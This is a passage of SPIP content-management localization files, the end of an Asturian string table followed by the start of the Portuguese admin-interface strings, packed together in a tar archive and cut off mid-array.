'texte_presente_plugin' => 'Esta páxina llista los plugins disponibles nel sitiu. Pues activar los plugins necesarios marcando el cuadru correspondiente.',
'texte_proposer_publication' => 'Cuando tea termináu l’artículu,<br /> pues proponelu pa espublizar.',
'texte_proxy' => 'En ciertos casos (intranet, redes protexíes), los sitios esternos (documentación de SPIP, sitios sindicaos, etc.) nun son accesibles más que al traviés d’un <i>proxy HTTP</i>. Si ye’l casu, conseña embaxo les señes, na forma @proxy_en_cours@. En xeneral, esti cuadru déxase vacíu.',
'texte_publication_articles_post_dates' => '¿Cómo tien que comportase SPIP colos artículos nos que la
fecha d’espublizamientu ta conseñada pa otru
momentu futuru?',
'texte_rappel_selection_champs' => '[Nun escaezas seleicionar correutamente esti campu.]',
'texte_recalcul_page' => 'Si quies
recalcular una sola páxina, pasa meyor pel espaciu públicu y calca nel botón «recalcular».',
'texte_recapitiule_liste_documents' => 'Esta páxina recapitula la llista de documentos que tienes allugáos nes estayes. Pa iguar la información de caún de los documentos, sigui l’enllaz a la páxina de la so estaya.',
'texte_recuperer_base' => 'Iguar la base de datos',
'texte_reference_mais_redirige' => 'artículu referenciáu nel to sitiu SPIP, pero redirixíu a otra URL.',
'texte_requetes_echouent' => '<b>Cuando ciertes consultes SQL fallen
sistemáticamente y ensin razón aparente, ye
posible que seya por cuenta de la mesma base
de datos.</b><p>
El sirvidor SQL tien la posibilidá d’iguar les sos
tables cuando estes tan dañaes por
accidente. Equí pues tentar esta reparación; en
casu de fallu, guarda una copia del mensaxe, que tendrá,
seique, índices de lo que nun funciona...</p><p>
Si el problema siguiere, ponte en contautu col to
agospiador.</p>',
'texte_selection_langue_principale' => 'Más embaxo pues seleicionar la «llingua principal» del sitiu. Esti axuste nun te obliga - ¡por suerte! - a escribir los artículos na llingua seleicionada, sinon que permite afitar:
<ul><li> el formatu por omisión de les feches pal sitiu públicu;</li>
<li> la natura del motor tipográficu que SPIP tien que utilizar pa representar los testos;</li>
<li> la llingua utilizada nos formularios del sitiu públicu;</li>
<li> la llingua por omisión pa presentar l’espaciu priváu.</li></ul>',
'texte_sous_titre' => 'Subtítulu',
'texte_statistiques_visites' => '(barres prietes: domingu / curva prieta: evolución de la media)',
'texte_statut_attente_validation' => 'esperando validación',
'texte_statut_publies' => 'espublizaos en llinia',
'texte_statut_refuses' => 'refugáos',
'texte_suppression_fichiers' => 'Utilza esta orde pa desaniciar tolos archivos presentes
na caché de SPIP. Esto permite por exemplu forzar un recálculu de toes les páxines si
vienes de facer cambéos importantes nel grafismu o na estructura del sitiu.',
'texte_sur_titre' => 'Antetítulu',
'texte_table_ok' => ': esta tabla ta bién.',
'texte_tables_indexation_vides' => 'Les tables d’indexación del motor tan vacíes.',
'texte_tentative_recuperation' => 'Intentu d’igua',
'texte_tenter_reparation' => 'Tentar una reparación de la base de datos',
'texte_test_proxy' => 'Pa facer una preba d’esti proxy, conseña equí les señes d’un sitiu Web
que quieras prebar.',
'texte_titre_02' => 'Títulu:',
'texte_titre_obligatoire' => '<b>Títulu</b> [Obligatorio]',
'texte_travail_article' => '@nom_auteur_modif@ trabayó nesti artículu hai @date_diff@ minutos',
'texte_travail_collaboratif' => 'Si ye frecuente que dellos redactores
trabayen nel mesmu artículu, el sistema
pue amosar los artículos «abiertos» recientemente
a la fin d’evitar modificaciones simultánees.
Esta opción ta desactivada por omisión
pa evitar l’apaición de mensaxes d’avisu
intempestivos.',
'texte_trop_resultats_auteurs' => 'Abondos resultaos pa "@cherche_auteur@" ; has d’afinar la gueta.',
'texte_unpack' => 'descarga de la versión cabera',
'texte_utilisation_moteur_syndiques' => 'Cuando uses el motor de restolar integráu en
SPIP, puedes facer les guetes nos sitios webs y
nos artículos sindicaos de dos maneres
diferentes. <br />- La más
cenciella consiste en restolar namái ente los
títulos y descriciones de los artículos.<br />-
Un segundu métodu, muncho más potente, permíte-y
a SPIP restolar ente’l testu de los llugares
referenciaos. Si referencies
un sitiu web, SPIP va restolar tamién ente’l
testu d’esi sitiu web.',
'texte_utilisation_moteur_syndiques_2' => 'Esti métodu obliga a que SPIP visite
regularmente los sitios referenciaos,
lo que pue provocar una lixera lentitú del propiu
sitiu.',
'texte_vide' => 'vacíu',
'texte_vider_cache' => 'Vaciar la caché',
'titre_admin_effacer' => 'Mantenimientu técnicu',
'titre_admin_tech' => 'Mantenimientu técnicu',
'titre_admin_vider' => 'Mantenimientu técnicu',
'titre_ajouter_un_auteur' => 'Amestar un autor',
'titre_ajouter_un_mot' => 'Amestar una pallabra-clave',
'titre_cadre_afficher_article' => 'Amosar los artículos',
'titre_cadre_afficher_traductions' => 'Amosar l’estau de les traducciones pa les llingües siguientes:',
'titre_cadre_ajouter_auteur' => 'AMESTAR UN AUTOR:',
'titre_cadre_interieur_rubrique' => 'Dientro de la estaya',
'titre_cadre_numero_auteur' => 'AUTOR NÚMBERU',
'titre_cadre_signature_obligatoire' => '<b>Robla</b> [Obligatoria]<br />',
'titre_config_contenu_notifications' => 'Notificaciones',
'titre_config_contenu_prive' => 'Nel espaciu priváu',
'titre_config_contenu_public' => 'Nel sitiu públicu',
'titre_config_fonctions' => 'Configuración del sitiu',
'titre_config_langage' => 'Configurar la llingua',
'titre_configuration' => 'Configuración del sitiu',
'titre_configurer_preferences' => 'Configurar les tos preferencies',
'titre_conflit_edition' => 'Conflictu durante la edición',
'titre_connexion_ldap' => 'Axustes: <b>La to conexón LDAP</b>',
'titre_groupe_mots' => 'GRUPU DE PALLABRES:',
'titre_identite_site' => 'Identidá del sitiu',
'titre_langue_article' => 'LLINGUA DE L’ARTICULU', # MODIF
'titre_langue_rubrique' => 'LLINGUA DE LA ESTAYA', # MODIF
'titre_langue_trad_article' => 'LLINGUA Y TRADUCCIONES DE L’ARTÍCULU',
'titre_les_articles' => 'LOS ARTÍCULOS',
'titre_messagerie_agenda' => 'Mensaxería y axenda',
'titre_naviguer_dans_le_site' => 'Ñavegar pol sitiu Web...',
'titre_nouvelle_rubrique' => 'Estaya nueva',
'titre_numero_rubrique' => 'ESTAYA NÚMBERU:',
'titre_page_admin_effacer' => 'Mantenimientu téunicu: esborrar la base',
'titre_page_articles_edit' => 'Camudar: @titre@',
'titre_page_articles_page' => 'Los artículos',
'titre_page_articles_tous' => 'Tou el sitiu',
'titre_page_auteurs' => 'Visitantes',
'titre_page_calendrier' => 'Axenda de @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Configuración del sitiu',
'titre_page_config_fonctions' => 'Configuración del sitiu',
'titre_page_configuration' => 'Configuración del sitiu',
'titre_page_controle_petition' => 'Siguimientu de les solicitudes',
'titre_page_delete_all' => 'desaniciu total e irreversible',
'titre_page_documents_liste' => 'Los documentos de les estayes',
'titre_page_index' => 'El to espaciu priváu',
'titre_page_message_edit' => 'Redactar un mensaxe',
'titre_page_messagerie' => 'La to mensaxería',
'titre_page_recherche' => 'Resultaos de la gueta @recherche@',
'titre_page_statistiques_referers' => 'Estadístiques (enllaces entrantes)',
'titre_page_statistiques_signatures_jour' => 'Númberu de robles por día',
'titre_page_statistiques_signatures_mois' => 'Númberu de robles por mes',
'titre_page_upgrade' => 'Actualización de SPIP',
'titre_publication_articles_post_dates' => 'Publicación d’artículos con fecha posterior',
'titre_referencer_site' => 'Referenciar el sitiu:',
'titre_rendez_vous' => 'CITES:',
'titre_reparation' => 'Igua',
'titre_suivi_petition' => 'Siguimientu de les solicitudes',
'tls_ldap' => 'Transport Layer Security (TLS):',
'trad_article_inexistant' => 'Nun hay dengún artículu con esi númberu.',
'trad_article_traduction' => 'Toles versiones d’esti artículu:',
'trad_deja_traduit' => 'Fallu: nun ye posible rellacionar esti artículu col númberu pidíu. ',
'trad_delier' => 'Ya nun enllazar esti artículu coles sos traduciones ', # MODIF
'trad_lier' => 'Esti artículu ye una tradución del artículu númberu:',
'trad_new' => 'Escribir una nueva torna d’esti artículu', # MODIF
// U
'upload_info_mode_document' => 'Dexar esta imaxe nel maletu',
'upload_info_mode_image' => 'Desaniciar esta imaxe del maletu',
'utf8_convert_attendez' => 'Espera dellos instantes y recarga esta páxina.',
'utf8_convert_avertissement' => 'Dispóneste a convertir el conteníu de la to base de datos (artículos, breves, etc) del xuegu de carauteres <b>@orig@</b> al xuegu de carauteres <b>@charset@</b>.',
'utf8_convert_backup' => 'Nun escaezas de facer enantes una copia de seguridá completa del to sitiu. También tendríes que verificar si les cadarmes y archivos de llingües son compatibles con @charset@.',
'utf8_convert_erreur_deja' => 'Esti sitiu ya ta en @charset@, ye inútil facer la conversión...',
'utf8_convert_erreur_orig' => 'Error: el xuegu de carautéres @charset@ nun ta soportáu.',
'utf8_convert_termine' => '¡Terminose!',
'utf8_convert_timeout' => '<b>Importante:</b> en casu de <i>timeout</i> del sirvidor, tendrás que recargar la páxina mientres que nun apaeza «terminao».',
'utf8_convert_verifier' => 'Agora tienes que vaciar la caché, y verificar que too se vea bien nes páxines públiques del sitiu. En casu de problemes graves, fízose una copia de seguridá de los datos (en formatu SQL) nel direutoriu @rep@.',
'utf8_convertir_votre_site' => 'Convertir esti sitiu a utf-8',
// V
'version' => 'Versión:'
);
?>
ecrire_pt.php 0000666 00000223102 15252547432 0007246 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=pt
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Activar o plugin',
'affichage' => 'Mostrar',
'aide_non_disponible' => 'Esta parte da ajuda online ainda não está disponível neste idioma.',
'annuler_recherche' => 'Cancelar a pesquisa',
'auteur' => 'Autor :',
'avis_acces_interdit' => 'Accesso interdito. ',
'avis_article_modifie' => 'Atenção, @nom_auteur_modif@ trabalhou neste artigo há @date_diff@ minutes',
'avis_aucun_resultat' => 'Sem resultados. ',
'avis_base_inaccessible' => 'Impossível conectar-se à base de dados @base@.',
'avis_chemin_invalide_1' => 'O caminho que escolheu ',
'avis_chemin_invalide_2' => 'não parece ser válido. Por favor regresse à página anterior e verifique as informações fornecidas. ',
'avis_connexion_echec_1' => 'A ligação ao servidor SQL falhou.',
'avis_connexion_echec_2' => 'Volte à página anterior e verifique as informações que forneceu. ',
'avis_connexion_echec_3' => '<b>N.B.</b> Em diversos servidores, precisa <b>solicitar</b> a activação do seu acesso à base de dados SQL antes de poder utilizá-la. Se não consegue ligar-se à sua base de dados, verifique se efectuou esse pedido.',
'avis_connexion_erreur_nom_base' => 'O nome da base de dados só pode conter letras, números e hífen.',
'avis_connexion_ldap_echec_1' => 'A ligação ao servidor LDAP falhou.',
'avis_connexion_ldap_echec_2' => 'Volte à página anterior e verifique as informações que forneceu ',
'avis_connexion_ldap_echec_3' => 'Alternativamente, não utilize o suporte LDAP para importar utilizadores.',
'avis_deplacement_rubrique' => 'Atenção ! Esta rubrica contém @contient_breves@ informação@scb@ : se a deslocar, por favor confirme-o nesta caixa.',
'avis_destinataire_obligatoire' => 'Deve indicar um destinatário antes de enviar esta mensagem.',
'avis_erreur_connexion_mysql' => 'Erro de ligação SQL',
'avis_erreur_version_archive' => '<b>Atenção! O ficheiro @archive@ corresponde a
uma versão de SPIP diferente da que
tem instalada.</b> Enfrentará grandes
dificuldades: risco de destruição da sua
base de dados, mau funcionamento
generalizado do sítio etc.
Não valide este pedido de importação.
<p>Para mais informações, leia
<a href="@spipnet@">a documentação do SPIP</a>.</p>',
'avis_espace_interdit' => '<b>Espaço interdito</b><p>SPIP já está instalado.',
'avis_lecture_noms_bases_1' => 'O programa de instalação não conseguiu ler os nomes das bases de dados instaladas. ',
'avis_lecture_noms_bases_2' => 'Ou nenhuma base de dados está disponível, ou a função que permite listá-las foi desactivada
por razões de segurança (o que é o caso em muitos serviços de hospedagem). ',
'avis_lecture_noms_bases_3' => 'Na segunda alternativa, é provável que uma base tendo o seu nome de login seja utilizável :',
'avis_non_acces_message' => 'Não tem acesso a esta mensagem. ',
'avis_non_acces_page' => 'Não tem acesso a esta página. ',
'avis_operation_echec' => 'A operação falhou. ',
'avis_operation_impossible' => 'Operação impossivel',
'avis_probleme_archive' => 'Erro na leitura do ficheiro @archive@',
'avis_suppression_base' => 'Atenção, a supressão dos dados é irreversível',
'avis_version_mysql' => 'A sua versão de SQL (@version_mysql@) não permite a auto-reparação das tabelas da base de dados.',
// B
'bouton_acces_ldap' => 'Acrescentar o acesso a LDAP >>',
'bouton_ajouter' => 'Acrescentar ',
'bouton_ajouter_participant' => 'ACRESCENTAR UM PARTICIPANTE :',
'bouton_annonce' => 'ANÚNCIO',
'bouton_annuler' => 'Cancelar',
'bouton_cache_activer' => 'Reactivar a cache',
'bouton_cache_desactiver' => 'Desactivar temporariamente a cache',
'bouton_checkbox_envoi_message' => 'possibilidade de enviar uma mensagem',
'bouton_checkbox_indiquer_site' => 'indicar obrigatoriamente um sítio Web',
'bouton_checkbox_signature_unique_email' => 'uma única assinatura por endereço email',
'bouton_checkbox_signature_unique_site' => 'uma única assinatura por sítio Web',
'bouton_demande_publication' => 'Pedir a publicação deste artigo ',
'bouton_desactive_tout' => 'Desactivar tudo',
'bouton_desinstaller' => 'Desinstalar',
'bouton_effacer_index' => 'Apagar os índices',
'bouton_effacer_tout' => 'Apagar TUDO',
'bouton_envoi_message_02' => 'ENVIAR UMA MENSAGEM',
'bouton_envoyer_message' => 'Mensagem definitiva: enviar',
'bouton_fermer' => 'Fechar',
'bouton_mettre_a_jour_base' => 'Actualizar a base de dados',
'bouton_modifier' => 'Modificar',
'bouton_pense_bete' => 'MEMORANDO DE USO PESSOAL',
'bouton_radio_activer_messagerie' => 'Activar a caixa do correio interno',
'bouton_radio_activer_messagerie_interne' => 'Activar a caixa de correio interno',
'bouton_radio_activer_petition' => 'Activar a petição',
'bouton_radio_afficher' => 'Exibir',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Aparecer na lista dos redactores ligados',
'bouton_radio_desactiver_messagerie' => 'Desactivar a caixa de correio',
'bouton_radio_envoi_annonces_adresse' => 'Enviar os anúncios para o endereço:',
'bouton_radio_envoi_liste_nouveautes' => 'Enviar a lista das novidades',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Não aparecer na lista dos redactores online',
'bouton_radio_non_envoi_annonces_editoriales' => 'Não enviar anúncios editoriais',
'bouton_radio_pas_petition' => 'Sem petição',
'bouton_radio_petition_activee' => 'Petição activada',
'bouton_radio_supprimer_petition' => 'Suprimir a petição',
'bouton_redirection' => 'REDIRECCIONAR',
'bouton_relancer_installation' => 'Recomeçar a instalação',
'bouton_suivant' => 'Seguinte',
'bouton_tenter_recuperation' => 'Tentar uma reparação',
'bouton_test_proxy' => 'Testar o proxy',
'bouton_vider_cache' => 'Esvaziar a cache',
'bouton_voir_message' => 'Ver esta mensagem antes de validar',
// C
'cache_mode_compresse' => 'Os ficheiros da cache são gravados em modo comprimido.',
'cache_mode_non_compresse' => 'Os ficheiros da cache são gravados em modo não comprimido.',
'cache_modifiable_webmestre' => 'Este parâmetro é modificável pelo webmaster do site.',
'calendrier_synchro' => 'Se utilizar um software de agenda compatível <b>iCal</b>, pode sincronizá-lo com as informações deste sítio.',
'config_activer_champs' => 'Activar os campos seguintes',
'config_choix_base_sup' => 'Escolher uma base de dados neste servidor',
'config_erreur_base_sup' => 'SPIP não tem acesso à lista de bases de dados disponíveis',
'config_info_base_sup' => 'Se precisar de consultar outras bases de dados usando SPIP, quer seja neste servidor SQL ou noutro, use este formulário para as declarar. Se deixar alguns campos por preencher, os identificadores de conexão à base de dados principal serão usados.',
'config_info_base_sup_disponibles' => 'Bases de dados adicionais que se podem consultar:',
'config_info_enregistree' => 'A nova configuração foi guardada',
'config_info_logos' => 'Cada elemento do site pode ter o seu próprio logo, assim como um «mouseover»',
'config_info_logos_utiliser' => 'Utilizar os logos',
'config_info_logos_utiliser_non' => 'Não utilizar os logos',
'config_info_logos_utiliser_survol' => 'Usar os logos de "mouseover"',
'config_info_logos_utiliser_survol_non' => 'Não usar os logos de "mouseover"',
'config_info_redirection' => 'Activando esta opção, pode criar artigos virtuais, que são referências simples a artigos publicados noutros sítios, não necessariamente usando SPIP.',
'config_redirection' => 'Artigos virtuais',
'config_titre_base_sup' => 'Declaração de uma base de dados suplementar',
'config_titre_base_sup_choix' => 'Escolher uma base de dados suplementar',
'connexion_ldap' => 'Conexão:',
'copier_en_local' => 'Copiar para o sítio local',
'creer_et_associer_un_auteur' => 'Criar e associar um autor',
'creer_et_associer_une_rubrique' => 'Criar e associar uma rubrica',
// D
'date_mot_heures' => 'horas',
// E
'ecran_securite' => ' + ecrã de segurança @version@',
'email' => 'email',
'email_2' => 'email :',
'en_savoir_plus' => 'Para saber mais',
'entree_adresse_annuaire' => 'Endereço do directório',
'entree_adresse_email' => 'O seu endereço email',
'entree_adresse_email_2' => 'Endereço electrónico',
'entree_base_donnee_1' => 'Endereço da base de dados',
'entree_base_donnee_2' => '(Muitas vezes, este endereço corresponde ao do seu sítio, outras vezes, corresponde à menção «localhost», às vezes, fica totalmente vazio.)',
'entree_biographie' => 'Curta biografia',
'entree_chemin_acces' => '<b>Introduzir</b> o caminho de acesso :',
'entree_cle_pgp' => 'A sua chave PGP',
'entree_cle_pgp_2' => 'Chave PGP',
'entree_contenu_rubrique' => '(Conteúdo da rubrica em poucas palavras.)',
'entree_identifiants_connexion' => 'Os seus identificadores de ligação',
'entree_identifiants_connexion_2' => 'Identifcadores de conexão',
'entree_informations_connexion_ldap' => 'Por favor preencha este formulário com as informações de ligação ao seu anuário LDAP.
Essas informações devem poder ser fornecidas pelo administrador do sistema ou da rede',
'entree_infos_perso' => 'Quem é você?',
'entree_infos_perso_2' => 'Quem é o autor?',
'entree_interieur_rubrique' => 'Dentro da rubrica :',
'entree_liens_sites' => '<b>Ligação hipertexto</b> (referência, sítio a visitar...)',
'entree_login' => 'O seu login',
'entree_login_connexion_1' => 'O login de ligação',
'entree_login_connexion_2' => '(Corresponde às vezes ao seu login de acesso ao FTP; outras vezes deixado vazio.)',
'entree_login_ldap' => 'Login LDAP inicial',
'entree_mot_passe' => 'A sua palavra-passe',
'entree_mot_passe_1' => 'A palavra-passe de ligação',
'entree_mot_passe_2' => '(Corresponde, às vezes, à sua palavra-passe para o FTP; outras vezes fica vazio)',
'entree_nom_fichier' => 'Por favor introduza o nome do ficheiro @texte_compresse@:',
'entree_nom_pseudo' => 'O seu nome ou o seu pseudónimo',
'entree_nom_pseudo_1' => '(O seu nome ou o seu pseudónimo)',
'entree_nom_pseudo_2' => 'Nome ou pseudónimo',
'entree_nom_site' => 'O nome do seu sítio',
'entree_nom_site_2' => 'Nome do sítio do autor',
'entree_nouveau_passe' => 'Nova palavra-passe',
'entree_passe_ldap' => 'Palavra-passe',
'entree_port_annuaire' => 'O número de porta do anuário',
'entree_signature' => 'Assinatura',
'entree_titre_obligatoire' => '<b>Título</b> [Obrigatório]<br />',
'entree_url' => 'O endereço (URL) do seu sítio',
'entree_url_2' => 'Endereço (URL) do sítio',
'erreur_connect_deja_existant' => 'Já existe um servidor com esse nome',
'erreur_nom_connect_incorrect' => 'O nome de servidor não é autorizado',
'erreur_plugin_desinstalation_echouee' => 'A desinstalação do plugin falhou. No entanto, pode desactivá-lo.',
'erreur_plugin_fichier_absent' => 'Ficheiro inexistente',
'erreur_plugin_fichier_def_absent' => 'Ficheiro de definição inexistente',
'erreur_plugin_nom_fonction_interdit' => 'Nome de função interdito',
'erreur_plugin_nom_manquant' => 'Nome de plugin inexistente',
'erreur_plugin_prefix_manquant' => 'Espaço de criação de nome não definido para este plugin ',
'erreur_plugin_tag_plugin_absent' => '<plugin> inexistente no ficheiro de definição',
'erreur_plugin_version_manquant' => 'Versão de plugin inexistente',
// H
'htaccess_a_simuler' => 'Atenção: a configuração do servidor HTTP ignora @htaccess@. Para garantir uma boa segurança, deve alterar esta configuração. Alternativamente, deve assegurar que as constantes @constantes@ (definíveis no ficheiro mes_options.php) têm como valores diretórios fora de @document_root@.',
'htaccess_inoperant' => 'htaccess inoperacional',
// I
'ical_info1' => 'Esta página apresenta muitos modos de permanecer em contacto com as actividades deste sítio.',
'ical_info2' => 'Para mais informações sobre estas técnicas, consultar <a href="@spipnet@">a documentação de SPIP</a>.',
'ical_info_calendrier' => 'Estão disponíveis dois calendários. O primeiro é uma planta do sítio anunciando todos os artigos publicados. O segundo é pessoal e contém os anúncios editoriais assim como as últimas mensagens privadas : está reservado para si graças a uma chave pessoal, que pode modificar a qualquer momento com a renovação da sua palavra-passe.',
'ical_methode_http' => 'Download',
'ical_methode_webcal' => 'Sincronização (webcal://)',
'ical_texte_js' => 'Uma linha de javascript permite-lhe facilmente exibir, em qualquer sítio que lhe pertença, os artigos recentes publicados neste sítio.',
'ical_texte_prive' => 'Este calendário, de uso estritamente pessoal, informa sobre a actividade editorial privada deste sítio (tarefas e encontros pessoais, artigos e notícias propostos...).',
'ical_texte_public' => 'Este calendário permite acompanhar a actividade pública deste sítio (artigos e notícias publicados).',
'ical_texte_rss' => 'Pode vincular as novidades deste sítio em qualquer leitor de ficheiros de formato XML/RSS (Rich Site Summary). É também o formato que permite a SPIP ler as novidades publicadas em outros sítios que utilizam um formato de troca compatível.',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Mailing-list',
'ical_titre_rss' => 'Ficheiros « backend »',
'icone_accueil' => 'Início',
'icone_activer_cookie' => 'Activar o cookie de correspondência',
'icone_activite' => 'Actividade',
'icone_admin_plugin' => 'Gerir plugins',
'icone_administration' => 'Manutenção',
'icone_afficher_auteurs' => 'Exibir os autores',
'icone_afficher_visiteurs' => 'Exibir os visitantes',
'icone_arret_discussion' => 'Não voltar a participar nesta discussão',
'icone_calendrier' => 'Calendário',
'icone_configuration' => 'Configuração',
'icone_creer_auteur' => 'Criar um novo autor e associá-lo a este artigo',
'icone_creer_mot_cle' => 'Criar uma nova palavra-chave e vinculá-la a este artigo',
'icone_creer_mot_cle_rubrique' => 'Criar uma nova palavra-chave e ligá-la a esta rubrica',
'icone_creer_mot_cle_site' => 'Criar uma nova palavra-chave e ligá-la a este sítio',
'icone_creer_rubrique_2' => 'Criar uma nova rubrica',
'icone_edition' => 'Editar',
'icone_envoyer_message' => 'Enviar esta mensagem',
'icone_ma_langue' => 'Idioma',
'icone_mes_infos' => 'Minhas informações',
'icone_mes_preferences' => 'Preferências',
'icone_modifier_article' => 'Modificar este artigo',
'icone_modifier_message' => 'Modificar esta mensagem',
'icone_modifier_rubrique' => 'Modificar esta rubrica',
'icone_publication' => 'Publicação',
'icone_relancer_signataire' => 'Contactar o signatário novamente',
'icone_retour' => 'Voltar',
'icone_retour_article' => 'Voltar ao artigo',
'icone_squelette' => 'Modelos',
'icone_suivi_publication' => 'Monitorização da publicação',
'icone_supprimer_cookie' => 'Suprimir o cookie de correspondência',
'icone_supprimer_rubrique' => 'Suprimir esta rubrica',
'icone_supprimer_signature' => 'Suprimir esta assinatura',
'icone_valider_signature' => 'Validar esta assinatura',
'image_administrer_rubrique' => 'Pode administrar esta rubrica',
'impossible_modifier_login_auteur' => 'Impossível alterar o login.',
'impossible_modifier_pass_auteur' => 'Impossível alterar a palavra-passe.',
'info_1_article' => '1 artigo',
'info_1_article_syndique' => '1 artigo redifundido',
'info_1_auteur' => '1 autor',
'info_1_message' => '1 mensagem',
'info_1_mot_cle' => '1 palavra-chave',
'info_1_rubrique' => '1 rubrica',
'info_1_site' => '1 sítio',
'info_1_visiteur' => '1 visitante',
'info_activer_cookie' => 'Pode activar um <b>cookie de correspondência</b>, o que lhe
permitirá passar facilmente do sítio público ao sítio privado ',
'info_admin_etre_webmestre' => 'Conceder-me os direitos de webmaster',
'info_admin_gere_rubriques' => 'Este administrador gere as seguintes rubricas:',
'info_admin_gere_toutes_rubriques' => 'Este administrador gere <b>todas as rubricas</b>.',
'info_admin_gere_toutes_rubriques_2' => 'Eu administro <b>todas as rubricas</b>',
'info_admin_je_suis_webmestre' => 'Eu sou <b>webmaster</b>',
'info_admin_statuer_webmestre' => 'Conceder ao administrador os direitos de webmaster',
'info_admin_webmestre' => 'Este administrador é <b>webmaster</b>',
'info_administrateur' => 'Administrador',
'info_administrateur_1' => 'Administrador',
'info_administrateur_2' => 'do sítio (<i>utilize com precaução</i>)',
'info_administrateur_site_01' => 'Se for o administrador do sítio, por favor',
'info_administrateur_site_02' => 'clicar sobre esta ligação',
'info_administrateurs' => 'Administradores',
'info_administrer_rubrique' => 'Pode administrar esta rubrica',
'info_adresse' => 'ao endereço :',
'info_adresse_url' => 'Endereço (URL) do sítio público',
'info_afficher_par_nb' => 'Exibir',
'info_afficher_visites' => 'Exibir as visitas para :',
'info_aide_en_ligne' => 'Ajuda online SPIP',
'info_ajout_image' => 'Quando acrescentar imagens como documentos ligados a um artigo,
SPIP pode criar para si, automaticamente, vinhetas (miniaturas) das
imagens inseridas. Isso permite por exemplo criar
automaticamente uma galeria ou um portfolio.',
'info_ajout_participant' => 'O seguinte participante foi acrescentado :',
'info_ajouter_rubrique' => 'Acrescentar uma rubrica a administrar :',
'info_annonce_nouveautes' => 'Anúncio das novidades',
'info_anterieur' => 'anterior',
'info_article' => 'artigo',
'info_article_2' => 'artigos',
'info_article_a_paraitre' => 'Os artigos pós-datados a publicar',
'info_articles_02' => 'artigos',
'info_articles_2' => 'Artigos',
'info_articles_auteur' => 'Os artigos deste autor',
'info_articles_miens' => 'Os meus artigos',
'info_articles_tous' => 'Todos os artigos',
'info_articles_trouves' => 'Artigos encontrados',
'info_articles_trouves_dans_texte' => 'Artigos encontrados (no texto)',
'info_attente_validation' => 'Os seus artigos à espera de validação',
'info_aucun_article' => 'Nenhum artigo',
'info_aucun_article_syndique' => 'Sem artigos redifundidos',
'info_aucun_auteur' => 'Nenhum autor',
'info_aucun_message' => 'Sem mensagens',
'info_aucun_rubrique' => 'Sem rubricas',
'info_aucun_site' => 'Nenhum sítio ',
'info_aucun_visiteur' => 'Sem visitantes',
'info_aujourdhui' => 'hoje :',
'info_auteur_message' => 'AUTOR DA MENSAGEM',
'info_auteurs' => 'Os autores',
'info_auteurs_par_tri' => 'Autores@partri@',
'info_auteurs_trouves' => 'Autores encontrados',
'info_authentification_externe' => 'Autenticação externa',
'info_avertissement' => 'Aviso',
'info_barre_outils' => 'com a sua barra de ferramentas?',
'info_base_installee' => 'A estrutura da sua base de dados está instalada.',
'info_bio' => 'Biografia',
'info_cache_desactive' => 'A cache encontra-se temporariamente desactivada.',
'info_chapeau' => 'Cabeçalho',
'info_chapeau_2' => 'Cabeçalho :',
'info_chemin_acces_1' => 'Opções : <b>Caminho de acesso no diretório</b>',
'info_chemin_acces_2' => 'Doravante, deve configurar o caminho de acesso às informações no anuário. Esta informação é indispensável para ler os perfis de utilizador armazenados no anuário.',
'info_chemin_acces_annuaire' => 'Opções : <b>Caminho de acesso no diretório',
'info_choix_base' => 'Terceira etapa :',
'info_classement_1' => '<sup>er</sup> no @liste@',
'info_classement_2' => '<sup>e</sup> no @liste@',
'info_code_acces' => 'Não se esqueça dos seus próprios códigos de acesso !',
'info_compatibilite_html' => 'Norma HTML a aplicar',
'info_compresseur_gzip' => '<b>N. B. :</b> Recomenda-se que verifique primeiro se o seu fornecedor comprime sistematicamente linguagem PHP. Para isso, pode usar um serviço como @testgzip@',
'info_compresseur_texte' => 'Se o seu servidor não comprime as páginas HTML antes de as enviar, você pode tentar forçar a compressão, para reduzir o tamanho das páginas carregadas. <b>Atenção</b> : isso pode tornar certos servidores consideravelmente mais lentos.',
'info_config_suivi' => 'Se este endereço corresponder a uma mailing-list, pode indicar, a seguir, o endereço no qual os participantes no sítio podem inscrever-se. Este endereço pode ser uma URL (por exemplo a página de inscrição na lista pela Web), ou um endereço email com um assunto específico (por exemplo: <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => ' Pode assinar a mailing-list deste sítio. Receberá então, por correio electrónico, os anúncios de artigos e de notícias propostos para publicação.',
'info_confirmer_passe' => 'Confirmar esta nova palavra-passe',
'info_conflit_edition_avis_non_sauvegarde' => 'Atenção: os campos seguintes foram modificados anteriormente. As suas alterações a estes campos não foram portanto guardadas. ',
'info_conflit_edition_differences' => 'Diferenças:',
'info_conflit_edition_version_enregistree' => 'Versão guardada :',
'info_conflit_edition_votre_version' => 'A sua versão:',
'info_connexion_base' => 'Segunda etapa: <b>Teste de ligação à base de dados</b>',
'info_connexion_base_donnee' => 'Ligação à sua base de dados',
'info_connexion_ldap_ok' => 'A ligação LDAP foi bem sucedida.</b><p> Pode passar para a etapa seguinte.</p>',
'info_connexion_mysql' => 'Primeira etapa : <b>A sua ligação SQL<b>',
'info_connexion_ok' => 'A ligação foi bem sucedida.',
'info_contact' => 'Contacto',
'info_contenu_articles' => 'Conteúdo dos artigos',
'info_contributions' => 'Contributos',
'info_creation_paragraphe' => 'Para criar parágrafos, deixe simplesmente linhas vazias.',
'info_creation_rubrique' => 'Antes de poder escrever artigos, <br />deve criar pelo menos uma rubrica.<br />',
'info_creation_tables' => 'Quarta etapa : <b>Criação das tabelas da base de dados<b>',
'info_creer_base' => '<b>Criar</b> uma nova base de dados',
'info_dans_rubrique' => 'Na rubrica :',
'info_date_publication_anterieure' => 'Data de publicação anterior:',
'info_date_referencement' => 'DATA DE REFERENCIAMENTO DESTE SÍTIO :',
'info_derniere_etape' => 'Última etapa : <b>Terminou !',
'info_derniers_articles_publies' => 'Os seus últimos artigos publicados online',
'info_desactiver_messagerie_personnelle' => 'Pode activar ou desactivar o seu correio pessoal neste sítio.',
'info_descriptif' => 'Descrição:',
'info_desinstaller_plugin' => 'elimina os dados e desactiva o plugin',
'info_discussion_cours' => 'Discussões em curso',
